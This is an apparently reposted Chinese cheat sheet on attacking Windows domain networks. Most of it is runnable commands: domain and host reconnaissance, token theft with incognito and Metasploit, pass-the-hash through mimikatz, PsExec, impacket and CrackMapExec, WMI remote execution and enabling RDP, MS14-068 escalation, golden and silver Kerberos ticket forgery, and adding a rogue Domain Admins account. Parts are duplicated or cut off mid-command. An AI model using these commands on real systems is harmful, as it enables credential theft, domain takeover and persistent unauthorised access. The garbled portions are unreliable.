|
内网渗透TIPS总结 (qq.com)
内网渗透思路通过域成员主机,定位出 域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。2、域:用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合(安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。3、域名服务器 DNS是指用于实现域名和与之相对应的 IP 地址转换 的服务器。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。4、域控内部**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中 Ntdsutil.exe-ntdsutil.exe:是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息5、活动目录帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。域信息收集一、常用命令- query user || qwinsta 查看当前在线用户
- net user 查看本机用户
- net user /domain 查看域用户
- net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
- net view /domain 查看有几个域
- net view \\\\dc 查看 dc 域内共享文件
- net group /domain 查看域里面的组
- net group "domain admins" /domain 查看域管
- net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
- net group "domain controllers" /domain 域控
- net time /domain
- net config workstation 当前登录域 - 计算机名 - 用户名
- net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
- ipconfig
复制代码
二、查找域服务器三、查询域控- ping darkid.hack.com
- nslookup darkid.hack.com
复制代码
四、主机发现
- arp -a 查询通信
- nbtscan 发现主机
- nbtscan.exe -r 192.168.0.1/24
复制代码
bat命令发现主机- for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="
复制代码
通过powershell脚本扫描
- powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En
- 脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
- #针对单个 IP 的多个端口的扫描:
- 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
- 2>$null
- #针对某 IP 段中单个端口的扫描:
- foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
- #针对某 IP 段 & 多个端口的扫描器
- 1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$
复制代码 使用MSF进行扫描- 使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。
- #主机存活探测:
- auxiliary/scanner/discovery/arp_sweep ARP 扫描
- auxiliary/scanner/discovery/udp_sweep UDP 扫描
- auxiliary/scanner/netbios/nbname NETBIOS 扫描
- auxiliary/scanner/snmp/snmp_enum SNMP 扫描
- auxiliary/scanner/smb/smb_version SMB 扫描
- #端口扫描:
- auxiliary/scanner/portscan/ack TCP ACK 端口扫描
- auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
- auxiliary/scanner/portscan/syn SYN 端口扫描
- auxiliary/scanner/portscan/tcp TCP 端口扫描
- auxiliary/scanner/portscan/xmas TCP XMas 端口扫描
复制代码
内网渗透中的token概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。net time #查询域中的时间,会请求域控net config workstation #查看当前工作环境nltest /dclist:域后缀 #查询域控
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En脚本下载地址:https://gallery.technet.microsof ... SPingSweep-b71f1b9b#针对单个 IP 的多个端口的扫描:1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
#针对某 IP 段中单个端口的扫描:foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}#使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。#主机存活探测:
- auxiliary/scanner/discovery/arp_sweep ARP 扫描
- auxiliary/scanner/discovery/udp_sweep UDP 扫描
- auxiliary/scanner/netbios/nbname NETBIOS 扫描
- auxiliary/scanner/snmp/snmp_enum SNMP 扫描
- auxiliary/scanner/smb/smb_version SMB 扫描
复制代码
#端口扫描:
- auxiliary/scanner/portscan/ack TCP ACK 端口扫描
- auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
- auxiliary/scanner/portscan/syn SYN 端口扫描
- auxiliary/scanner/portscan/tcp TCP 端口扫描
- auxiliary/scanner/portscan/xmas TCP XMas 端口扫描
复制代码
一、描述1、攻击手段假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。2、令牌的种类访问令牌(Access Token):表示访问控制操作主体的系统对象会话令牌(Session Token):是交互会话中唯一的身份标识符密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾3、Windows的access token的类型delegation token:授权令牌,支持交互式会话登录impersonation token:模拟令牌,非交互式令牌【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。二、AccessToken 的窃取与利用1、前提AccessToken 的窃取与利用需要 administrator 管理员权限。2、窃取access token的方法incognito.exe 程序InvokeTokenManipulat.ps1 脚本MSF 里的 incognito 模块3、incognito程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip4、msf窃取token横向渗透一、PTH(pass the hash)概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。1、pass the hash的原理在Windows系统中,通常会使用NTLM身份认证#AccessToken 的列举incognito.exe list_tokens -u#操作- incognito.exe execute -c "完整的 Token 名" cmd.exe
- incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
- use incognito #加载 incognito
- list_tokens -u #列出 AccessToken
- getuid #查看当前 token
- impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即
复制代码 ps #列出进程pid
- steal_token 1252 #从进程窃取 token
- getsystem #提升至 system 权限
- rev2self #返回到之前的 AccessToken 权限
复制代码
NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)2、适用范围域环境/工作组环境可以获取hash,但是条件是不允许爆破hash内网中存在和当前机器相同的密码3、关于微软补丁和禁用在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。4、攻击使用mimikatz得到hash后成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接二、Psexec1、概述psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。2、条件利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。3、明文连接4、hash连接出现错误的情况可以使用impacket工具包下的psexec连接- privilege::debug
- sekurlsa::logonpasswords
- mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
- privilege::debug
- sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
复制代码 #命令
- PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd
- PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
复制代码
#参数- -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
- -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
- -u 域\用户名
- -p 密码
复制代码 #命令
- psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
复制代码 5、psexec注意事项需要远程系统开启 admin$ 共享(默认是开启的)因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口在使用 IPC$ 连接目标系统后,不需要输入账户和密码。在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。6、登陆域管理命令impacket 下的 psexecpython3 psexec.py darkid/Administrator@192.168.0.142执行命令后输入密码登陆其他主机管理员psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd三、msf的smb连接1、使用2、crackmapexecCrackMapExec 可以对 C 段中的主机进行批量 pth,项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git使用命令四、WMI横向1、概述WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中2、条件 使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显- python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
- use exploit/windows/smb/psexec
- set SMBUser Administrator
- set rhosts 192.168.0.141
- set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
- run
- crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4
- 对 192.168.9.0/24 C 段进行批量 pass the hash
复制代码
3、wmi使用命令通过wmi执行ipconfig命令建立ipc连接,读取内容4、wmiexec.py利用在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写wmiexec.py 明文获取 shell5、powershell的wmiInvoke-WmiCommandInvoke-WMIMethod6、wmic 的其他命令使用 wmic 远程开启目标的 RDP
- wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
复制代码
- net use \\192.168.0.123\ipc$ "123456" /user:administrator
- type \\192.168.0.123\c$\ip.txt
复制代码
- python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami
复制代码- python3 wmiexec.py administrator:123456@192.168.0.123
复制代码 Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令# 导入 Invoke-WmiCommand.ps1 脚本Import-Module .\Invoke-WmiCommand.ps1# 指定目标系统用户名$User = ".\administrator"# 指定目标系统的密码$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password# 指定要执行的命令和目标 IP$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123# 将执行结果输出到屏幕上$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。# 指定目标系统用户名$User=".\administrator"# 指定目标系统密码$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential 中$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password# 在远程系统中运行 calc.exe 命令Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred
# 适于 Windows xp、server 2003
- wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowT
复制代码 判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。远程重启票据传递攻击(PTT)一、域内常用的两种攻击方式:1、黄金票据 Golden ticket2、白银票据 Silver ticket二、金票 Golden ticket1、原理在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。2、特点不需要与 AS 进行交互,需要用户 krbtgt 的 Hash3、伪造凭据,提升域内普通用户的权限(MS14-068)以一个本地 administrator 用户登录域内的一个主机中。通过命令:net config workstation,获取域信息通过命令:nltest /dsgetdc:域名,获取DC主机名上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID使用 MS14-068 伪造票据使用方法# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControREG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt#执行命令:
- ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,
- ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
- 使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:
- mimikatz # kerberos::purge //清空票据
- mimikatz # kerberos::ptc 票据文件地址
复制代码 再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限添加域管账号密码4、伪造金票条件使用一下命令导出用户 krbtgt 的 hash:利用 mimikatz 生成金票生成.kirbi 文件并保存5、金票的使用登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。ipc连接访问三、银票 Silver ticket1、原理如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。2、特点不需要与 KDC 进行交互需要 server 的 NTLM hash3、kekeo伪造银票
net user moonsec123 Qwe123... /add /domainnet group "Domain Admins" moonsec123 /add /domain
1、域名称2、域的 SID 值3、域的 KRBTGT 账号的 HASH4、伪造任意用户名
- mimikatz(commandline) # privilege::debug
- mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv
- 或 lsadump::lsa /inject
- mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
- mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txt
- mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d576
复制代码 /admin:伪造的用户名/domain:域名称/sid:SID 值,注意是去掉最后一个-后面的值/krbtgt:krbtgt 的 HASH 值/ticket:生成的票据名称 //不是写入内存中的命令!
mimikatz # kerberos::purgemimikatz # kerberos::ptt C:\Users\test\ticket.kirbidir \\08server1.moonhack.com\c$
四、金票和银票的区别1、获取的权限不同金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限银票:伪造的 ST,只能访问指定的服务,如 CIFS2、认证流程不同金票:同 KDC 交互,但不同 AS 交互银票:不同 KDC 交互,直接访问 Server3、加密方式不同金票:由 krbtgt NTLM Hash 加密银票:由服务账号 NTLM Hash 加密#制作
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
#导入
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirb原文地址:见阅读原文 作者:Darkid-98
|
|